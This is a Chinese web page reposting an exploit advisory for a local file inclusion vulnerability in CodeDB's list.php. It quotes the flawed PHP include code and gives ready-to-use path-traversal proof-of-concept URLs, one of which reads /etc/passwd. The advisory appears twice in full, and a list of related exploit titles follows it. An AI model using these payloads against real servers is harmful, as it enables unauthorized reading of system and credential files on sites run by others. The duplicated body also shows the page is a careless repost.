您现在的位置是:网站首页> 编程资料编程资料
CodeDB (list.php lang) Local File Inclusion Vulnerability _Exploit_网络安全_
2023-05-24
391人已围观
简介 CodeDB (list.php lang) Local File Inclusion Vulnerability _Exploit_网络安全_
###############################################################################
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################
Source :
// list.php
2. $lang = htmlspecialchars($_GET['lang']); // ok, but.... for what ? lol
7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned ;d
Proof of Concept :
http://[host]/[codeDB_path]/list.php?lang=../readme.txt
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd
http://[host]/[codeDB_path]/list.php?lang=../[local_file]
EoF.
#
# Name : CodeDB (list.php lang) Local File Inclusion Vulnerability
# Author : cOndemned
# Greetz : ZaBeaTy, str0ke, irk4z, GregStar, doctor, Adish, Avantura ;*
#
###############################################################################
Source :
// list.php
2. $lang = htmlspecialchars($_GET['lang']); // ok, but.... for what ? lol
7. if(file_exists('templates/'.$lang.'_middle.php')) // We'll have to cut off rest of filename & extension
8. include('templates/'.$lang.'_middle.php'); // Ekhm... pwned ;d
Proof of Concept :
http://[host]/[codeDB_path]/list.php?lang=../readme.txt
http://[host]/[codeDB_path]/list.php?lang=../../../../etc/passwd
http://[host]/[codeDB_path]/list.php?lang=../[local_file]
EoF.
相关内容
- Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit _Exploit_网络安全_
- Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only) _Exploit_网络安全_
- Scripteen Free Image Hosting Script 1.2 (cookie) Pass Grabber Exploit _Exploit_网络安全_
- Bilboblog 2.1 Multiple Remote Vulnerabilities _Exploit_网络安全_
- Pluck 4.5.1 (blogpost) Local File Inclusion Vulnerability (win only) _Exploit_网络安全_
- Bilboblog 2.1 Multiple Remote Vulnerabilities _Exploit_网络安全_
- pSys 0.7.0 Alpha Multiple Remote File Inclusion Vulnerability _Exploit_网络安全_
- Galatolo Web Manager 1.3a _Exploit_网络安全_
- Pragyan CMS 2.6.2 (sourceFolder) Remote File Inclusion Vulnerability _Exploit_网络安全_
- Comdev Web Blogger _Exploit_网络安全_
